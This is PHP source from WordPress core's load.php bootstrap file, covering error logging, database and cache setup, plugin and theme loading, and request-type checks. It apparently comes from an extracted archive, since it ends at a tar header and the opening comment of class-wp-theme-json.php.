WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || defined( 'MS_FILES_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Set the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Load the database class file and instantiate the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/wp-db.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Set the database table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => '%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( 'Error: %1$s in %2$s can only contain numbers, letters, and underscores.' ), '$table_prefix', 'wp-config.php' ) ); } } /** * Toggle `$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Start the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. /** * Filters whether to enable loading of the object-cache.php drop-in. * * This filter runs before it can be used by plugins. It is designed for non-web * runtimes. If false is returned, object-cache.php will never be loaded. * * @since 5.8.0 * * @param bool $enable_object_cache Whether to enable loading object-cache.php (if present). * Default true. */ if ( $first_init && apply_filters( 'enable_loading_object_cache_dropin', true ) ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } require_once ABSPATH . WPINC . '/cache-compat.php'; /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) ); } $first_init = false; } /** * Redirect to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_multisite() ) { if ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } } elseif ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } } /** * Retrieve an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( '.php' === substr( $plugin, -4 ) ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieve an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && '.php' === substr( $plugin, -4 ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins, true ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @global string $pagenow The filename of the current screen. * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Is WordPress in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @global string $pagenow The filename of the current screen. * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect Ajax actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected Ajax actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. * Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an Ajax action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current Ajax action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected Ajax actions. * * This filter is only fired when doing Ajax and the Ajax request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with Ajax actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Set internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Copy an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $object The object to clone. * @return object The cloned object. */ function wp_clone( $object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $object ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress blog administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * If Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieve the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempt an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Locale $wp_locale WordPress date and time locale object. */ function wp_load_translations_early() { global $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' === WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo' ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Check or set whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' == $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( false !== strpos( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( false !== strpos( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( false !== strpos( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Checks whether the given variable is a WordPress Error. * * Returns whether `$thing` is an instance of the `WP_Error` class. * * @since 2.1.0 * * @param mixed $thing The variable to check. * @return bool Whether the variable is an instance of WP_Error. */ function is_wp_error( $thing ) { $is_wp_error = ( $thing instanceof WP_Error ); if ( $is_wp_error ) { /** * Fires when `is_wp_error()` is called and its parameter is an instance of `WP_Error`. * * @since 5.6.0 * * @param WP_Error $thing The error object passed to `is_wp_error()`. */ do_action( 'is_wp_error_instance', $thing ); } return $is_wp_error; } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Start scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape key check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalize scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && wp_is_json_media_type( $_SERVER['HTTP_ACCEPT'] ) ) { return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && wp_is_json_media_type( $_SERVER['CONTENT_TYPE'] ) ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether a string is a valid JSON Media Type. * * @since 5.6.0 * * @param string $media_type A Media Type string to check. * @return bool True if string is a valid JSON Media Type. */ function wp_is_json_media_type( $media_type ) { static $cache = array(); if ( ! isset( $cache[ $media_type ] ) ) { $cache[ $media_type ] = (bool) preg_match( '/(^|\s|,)application\/([\w!#\$&-\^\.\+]+\+)?json(\+oembed)?($|\s|;|,)/i', $media_type ); } return $cache[ $media_type ]; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; } /** * Checks if this site is protected by HTTP Basic Auth. * * At the moment, this merely checks for the present of Basic Auth credentials. Therefore, calling * this function with a context different from the current context may give inaccurate results. * In a future release, this evaluation may be made more robust. * * Currently, this is only used by Application Passwords to prevent a conflict since it also utilizes * Basic Auth. * * @since 5.6.1 * * @global string $pagenow The filename of the current screen. * * @param string $context The context to check for protection. Accepts 'login', 'admin', and 'front'. * Defaults to the current context. * @return bool Whether the site is protected by Basic Auth. */ function wp_is_site_protected_by_basic_auth( $context = '' ) { global $pagenow; if ( ! $context ) { if ( 'wp-login.php' === $pagenow ) { $context = 'login'; } elseif ( is_admin() ) { $context = 'admin'; } else { $context = 'front'; } } $is_protected = ! empty( $_SERVER['PHP_AUTH_USER'] ) || ! empty( $_SERVER['PHP_AUTH_PW'] ); /** * Filters whether a site is protected by HTTP Basic Auth. * * @since 5.6.1 * * @param bool $is_protected Whether the site is protected by Basic Auth. * @param string $context The context to check for protection. One of 'login', 'admin', or 'front'. */ return apply_filters( 'wp_is_site_protected_by_basic_auth', $is_protected, $context ); } class-wp-theme-json.php000064400000207267147177035020011101 0ustar00 'unique-name-within-the-set', * 'name' => 'Name for the UI', * => 'value' * ), * ) * ``` * * This contains the necessary metadata to process them: * * - path => Where to find the preset within the settings section. * - prevent_override => Disables override of default presets by theme presets. * The relationship between whether to override the defaults * and whether the defaults are enabled is inverse: * - If defaults are enabled => theme presets should not be overriden * - If defaults are disabled => theme presets should be overriden * For example, a theme sets defaultPalette to false, * making the default palette hidden from the user. * In that case, we want all the theme presets to be present, * so they should override the defaults by setting this false. * - use_default_names => whether to use the default names * - value_key => the key that represents the value * - value_func => optionally, instead of value_key, a function to generate * the value that takes a preset as an argument * (either value_key or value_func should be present) * - css_vars => template string to use in generating the CSS Custom Property. * Example output: "--wp--preset--duotone--blue: " will generate as many CSS Custom Properties as presets defined * substituting the $slug for the slug's value for each preset value. * - classes => array containing a structure with the classes to * generate for the 